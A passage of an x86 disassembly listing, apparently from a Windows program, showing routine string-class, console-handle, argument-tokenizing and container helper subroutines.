edi, GetStdHandle push 0FFFFFFF5h call edi ; GetStdHandle push 0FFFFFFF4h mov [esi], eax call edi ; GetStdHandle mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B3E66: ; CODE XREF: sub_13B3E30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_13B3E30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3EA0 proc near ; CODE XREF: sub_13AC0DAj mov al, ds:byte_4471AA push esi test al, al mov esi, ecx jz short loc_13B3EBF call FreeConsole ; FreeConsole mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_13B3EBF: ; CODE XREF: sub_13B3EA0+Aj mov byte ptr [esi+8], 0 pop esi retn sub_13B3EA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3EE0 proc near ; CODE XREF: sub_13AB824j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset dword_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_13B3EE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3F10 proc near ; CODE XREF: sub_13AC463j sub_13AC571j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB626 test [esp+4+arg_0], 1 jz short loc_13B3F28 push esi call near ptr 13E0C02h add esp, 4 loc_13B3F28: ; CODE XREF: sub_13B3F10+Dj mov eax, esi pop esi retn 4 sub_13B3F10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3F40 proc near ; CODE XREF: sub_13ABC61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset dword_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_13AB9D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_13B3F40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3F80 proc near ; CODE XREF: sub_13AB8C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset dword_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_13AC3BE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_13B3F80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B3FC0 proc near ; CODE XREF: sub_13AC4F4j var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset dword_43E010 call wsprintfA ; wsprintfA add esp, 0Ch lea edx, [esp+14h+var_C] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_13AB9D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_13B3FC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4030 proc near ; CODE XREF: sub_13AB626j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset dword_43E010 cmp eax, edi jz short loc_13B404C push eax call near ptr 13E0C02h add esp, 4 loc_13B404C: ; CODE XREF: sub_13B4030+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_13B405F push eax call near ptr 13E0C02h add esp, 4 loc_13B405F: ; CODE XREF: sub_13B4030+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_13B4030 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4080 proc near ; CODE XREF: sub_13AB9D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_13B40EA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_13B40AA push eax call near ptr 13E0C02h add esp, 4 loc_13B40AA: ; CODE XREF: sub_13B4080+1Fj lea ebx, [ebp+2] push ebx call near ptr 13E0C1Ah mov edi, eax add esp, 4 test edi, edi mov [esi+9], edi jz short loc_13B40EA mov ecx, ebx xor eax, eax mov edx, ecx mov [esi+11h], ebp shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov eax, [esi+11h] mov ecx, [esp+10h+arg_0] mov edx, [esi+9] push eax push ecx push edx call strncpy ; strncpy add esp, 0Ch loc_13B40EA: ; CODE XREF: sub_13B4080+Cj ; sub_13B4080+3Dj pop edi pop esi pop ebp pop ebx retn 4 sub_13B4080 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4120 proc near ; CODE XREF: sub_13AC3BEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_13AB789 push eax mov ecx, esi call sub_13AB9D7 pop esi retn 4 sub_13B4120 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4150 proc near ; CODE XREF: sub_13ABE46j var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx call wsprintfA ; wsprintfA add esp, 0Ch lea edx, [esp+10h+var_C] mov ecx, esi push edx call sub_13AB9D7 pop esi add esp, 10h retn 4 sub_13B4150 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B41A0 proc near ; CODE XREF: sub_13ABE9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_13B4232 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call near ptr 13E0C1Ah mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_13B4232 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_13B422F push eax call near ptr 13E0C02h add esp, 4 loc_13B422F: ; CODE XREF: sub_13B41A0+84j mov [ebx+9], ebp loc_13B4232: ; CODE XREF: sub_13B41A0+Cj ; sub_13B41A0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_13B41A0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4270 proc near ; CODE XREF: sub_13ABABDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_13AB789 push eax mov ecx, esi call sub_13ABE9B pop esi retn 4 sub_13B4270 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B42A0 proc near ; CODE XREF: sub_13AB540j var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx call wsprintfA ; wsprintfA add esp, 0Ch lea edx, [esp+10h+var_C] mov ecx, esi push edx call sub_13ABE9B pop esi add esp, 10h retn 4 sub_13B42A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B42F0 proc near ; CODE XREF: sub_13AB6EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_13B4307 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B4307: ; CODE XREF: sub_13B42F0+7j mov eax, [ecx+9] push ebx loc_13B430B: ; CODE XREF: sub_13B42F0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_13B4336 test cl, cl jz short loc_13B432F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_13B4336 add eax, 2 add esi, 2 test cl, cl jnz short loc_13B430B loc_13B432F: ; CODE XREF: sub_13B42F0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B4336: ; CODE XREF: sub_13B42F0+23j ; sub_13B42F0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_13B42F0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4360 proc near ; CODE XREF: sub_13ABF72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_13AB789 push eax mov ecx, esi call sub_13AB6EE pop esi retn 4 sub_13B4360 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4390 proc near ; CODE XREF: sub_13AB900j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_13B43A3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_13B43A3: ; CODE XREF: sub_13B4390+6j push eax mov eax, [ecx+9] push eax call _strcmpi ; _strcmpi add esp, 8 retn 4 sub_13B4390 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B43D0 proc near ; CODE XREF: sub_13AC5ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_13AB789 push eax mov ecx, esi call sub_13AB6EE pop esi retn 4 sub_13B43D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4400 proc near ; CODE XREF: sub_13AC0BCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_13B4413 push eax call near ptr 13E0C02h add esp, 4 loc_13B4413: ; CODE XREF: sub_13B4400+8j mov dword ptr [esi+9], 0 pop esi retn sub_13B4400 endp ; --------------------------------------------------------------------------- aRrrr db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4430 proc near ; CODE XREF: sub_13AB42Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call near ptr 13E0C60h mov eax, [esp+arg_2004] test eax, eax jz short loc_13B4472 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx call _vsnprintf ; _vsnprintf mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_13AB9D7 loc_13B4472: ; CODE XREF: sub_13B4430+13j add esp, 2000h retn sub_13B4430 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B44A0 proc near ; CODE XREF: sub_13AC120j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AB716 retn 4 sub_13B44A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B44C0 proc near ; CODE XREF: sub_13AB716j arg_0 = byte ptr 4 push ebx mov ebx, strchr push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_13B44E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_13B44E4: ; CODE XREF: sub_13B44C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_13B44C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4510 proc near ; CODE XREF: sub_13ABCA2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13ABC07 retn 4 sub_13B4510 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4530 proc near ; CODE XREF: sub_13ABC07j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_13AB789 push eax mov ecx, esi call sub_13AC517 pop esi retn 8 sub_13B4530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4560 proc near ; CODE XREF: sub_13AB7E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC517 retn 4 sub_13B4560 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4580 proc near ; CODE XREF: sub_13AC517j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_13B4595 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_13B4595: ; CODE XREF: sub_13B4580+Bj mov eax, [esi+9] mov ebx, strstr push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_13B45AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_13B45AF: ; CODE XREF: sub_13B4580+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_13B4580 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B45F0 proc near ; CODE XREF: sub_13AC05Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_13B4603 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B4603: ; CODE XREF: sub_13B45F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_13B4616 push eax call near ptr 13E0C02h add esp, 4 loc_13B4616: ; CODE XREF: sub_13B45F0+1Bj push ebx lea ebx, [edi+1] push ebx call near ptr 13E0C1Ah mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 sub_13B45F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4670 proc near ; CODE XREF: sub_13AB7D9j mov eax, [ecx+11h] retn sub_13B4670 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4690 proc near ; CODE XREF: sub_13AB6B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_13B4690 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_13B46E2 mov esi, [esp+34h+arg_0] push offset byte_446F80 mov ecx, esi call sub_13ABC61 mov eax, esi pop esi pop ebp mov ecx, [esp+30h+var_10] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_13B46E2: ; CODE XREF: sub_13B4690+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_13AB824 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call near ptr 13E0C1Ah mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+3Ch+arg_4] and ecx, 3 push ebx rep stosb mov eax, [esp+40h+var_2C] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+40h+var_24] call sub_13AB9D7 push ebx call near ptr 13E0C02h mov esi, [esp+44h] add esp, 4 lea eax, [esp+40h+var_28] mov ecx, esi push eax call sub_13AB8C9 lea ecx, [esp+44h+var_2C] call sub_13AB626 mov ecx, [esp+44h+var_14] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch sub_13B4690 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B47C0 proc near ; CODE XREF: sub_13AC22Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_13AB7D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_13AB6B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_13B47C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4800 proc near ; CODE XREF: sub_13ABD3Dj var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push esi mov esi, [esp+8+arg_0] push 1 mov ecx, esi mov [esp+0Ch+var_4], 0 call sub_13AC4F4 mov eax, esi pop esi pop ecx retn 4 sub_13B4800 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4830 proc near ; CODE XREF: sub_13AB5EAj var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_28 = byte ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_13B4830 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_13B4871 mov esi, [esp+44h+arg_0] push offset byte_446F80 mov ecx, esi call sub_13ABC61 jmp loc_13B49A4 ; --------------------------------------------------------------------------- loc_13B4871: ; CODE XREF: sub_13B4830+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_13ABA90 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_13ABC61 lea ecx, [esp+48h+var_28] mov byte ptr [esp+48h+var_8], 2 call sub_13AB8D3 mov [esp+48h+var_40], eax mov cl, [eax] test cl, cl jz loc_13B4955 push ebx loc_13B48B1: ; CODE XREF: sub_13B4830+11Ej mov dl, [edi] cmp cl, dl jnz short loc_13B48C0 loc_13B48B7: ; CODE XREF: sub_13B4830+8Ej inc eax mov [esp+4Ch+var_40], eax cmp [eax], dl jz short loc_13B48B7 loc_13B48C0: ; CODE XREF: sub_13B4830+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_13B48CF inc eax mov [esp+4Ch+var_40], eax loc_13B48CF: ; CODE XREF: sub_13B4830+98j lea edx, [esp+4Ch+var_40] lea ecx, [esp+4Ch+var_38] push edx call sub_13ABD88 mov eax, [esp+50h+var_44] test bl, bl mov cl, [eax] jz short loc_13B491F test cl, cl jz short loc_13B4907 loc_13B48EB: ; CODE XREF: sub_13B4830+D5j cmp cl, 22h jnz short loc_13B48FC mov cl, [eax+1] cmp cl, 20h jz short loc_13B4907 test cl, cl jz short loc_13B4907 loc_13B48FC: ; CODE XREF: sub_13B4830+BEj inc eax mov [esp+50h+var_44], eax mov cl, [eax] test cl, cl jnz short loc_13B48EB loc_13B4907: ; CODE XREF: sub_13B4830+B9j ; sub_13B4830+C6j ... cmp byte ptr [eax], 0 jz short loc_13B494A mov byte ptr [eax], 0 mov eax, [esp+50h+var_44] mov cl, [eax+1] test cl, cl jz short loc_13B494A add eax, 2 jmp short loc_13B4946 ; --------------------------------------------------------------------------- loc_13B491F: ; CODE XREF: sub_13B4830+B5j test cl, cl jz short loc_13B4934 mov dl, [edi] loc_13B4925: ; CODE XREF: sub_13B4830+102j cmp cl, dl jz short loc_13B4934 inc eax mov [esp+50h+var_44], eax mov cl, [eax] test cl, cl jnz short loc_13B4925 loc_13B4934: ; CODE XREF: sub_13B4830+F1j ; sub_13B4830+F7j mov cl, [eax] test cl, cl jz short loc_13B494A cmp cl, [edi] jnz short loc_13B494A mov byte ptr [eax], 0 mov eax, [esp+50h+var_44] inc eax loc_13B4946: ; CODE XREF: sub_13B4830+EDj mov [esp+50h+var_44], eax loc_13B494A: ; CODE XREF: sub_13B4830+DAj ; sub_13B4830+E8j ... mov cl, [eax] test cl, cl jnz loc_13B48B1 pop ebx loc_13B4955: ; CODE XREF: sub_13B4830+7Aj lea ecx, [esp+4Ch+var_3C] call sub_13AB5F9 mov ecx, [esp+4Ch] cmp ecx, eax jb short loc_13B496D push offset byte_446F80 jmp short loc_13B497A ; --------------------------------------------------------------------------- loc_13B496D: ; CODE XREF: sub_13B4830+134j push ecx lea ecx, [esp+50h+var_3C] call sub_13AC364 mov eax, [eax] push eax loc_13B497A: ; CODE XREF: sub_13B4830+13Bj mov esi, [esp+54h+var_8] mov ecx, esi call sub_13ABC61 lea ecx, [esp+54h+var_34] mov [esp+54h+var_48], 1 call sub_13AB626 lea ecx, [esp+54h+var_44] mov [esp+54h+var_14], 0 call sub_13AB98C loc_13B49A4: ; CODE XREF: sub_13B4830+3Cj mov ecx, [esp+54h+var_1C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_13B4830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4A30 proc near ; CODE XREF: sub_13ABAAEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_13AB5EA mov eax, esi pop esi pop ecx retn 0Ch sub_13B4A30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4A70 proc near ; CODE XREF: sub_13AC40Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_13AB789 push eax mov ecx, esi call sub_13AB9D7 pop esi retn 4 sub_13B4A70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4AA0 proc near ; CODE XREF: sub_13ABE87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AB9D7 retn 4 sub_13B4AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4AC0 proc near ; CODE XREF: sub_13AB86Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_13B4AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4AE0 proc near ; CODE XREF: sub_13AB89Cj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_13B4AE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4B00 proc near ; CODE XREF: sub_13AB789j mov eax, [ecx+9] retn sub_13B4B00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4B20 proc near ; CODE XREF: sub_13ABBE4j mov eax, [ecx+9] retn sub_13B4B20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4B40 proc near ; CODE XREF: sub_13AB8D3j mov eax, [ecx+9] retn sub_13B4B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4B60 proc near ; CODE XREF: sub_13ABA90j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_13B4B60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4B90 proc near ; CODE XREF: sub_13AB98Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_13ABDA6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_13AB5EF xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn sub_13B4B90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4BE0 proc near ; CODE XREF: sub_13AB5F9j mov edx, [ecx+4] test edx, edx jnz short loc_13B4BEA xor eax, eax retn ; --------------------------------------------------------------------------- loc_13B4BEA: ; CODE XREF: sub_13B4BE0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_13B4BE0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4C10 proc near ; CODE XREF: sub_13AC364j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_13AB5F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_13B4C28 mov ecx, esi call sub_13AC2E7 loc_13B4C28: ; CODE XREF: sub_13B4C10+Fj mov ecx, esi call sub_13AC11B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_13B4C10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4C50 proc near ; CODE XREF: sub_13ABD88j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13ABA4F push eax mov ecx, esi call sub_13ABAEF pop esi retn 4 sub_13B4C50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4C80 proc near ; CODE XREF: sub_13AC11Bj mov eax, [ecx+4] retn sub_13B4C80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4CA0 proc near ; CODE XREF: sub_13ABA4Fj mov eax, [ecx+8] retn sub_13B4CA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B4CC0 proc near ; CODE XREF: sub_13ABAEFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_13AC11B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_13AB7CF mov ecx, edi call sub_13AC11B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_13B4CC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) 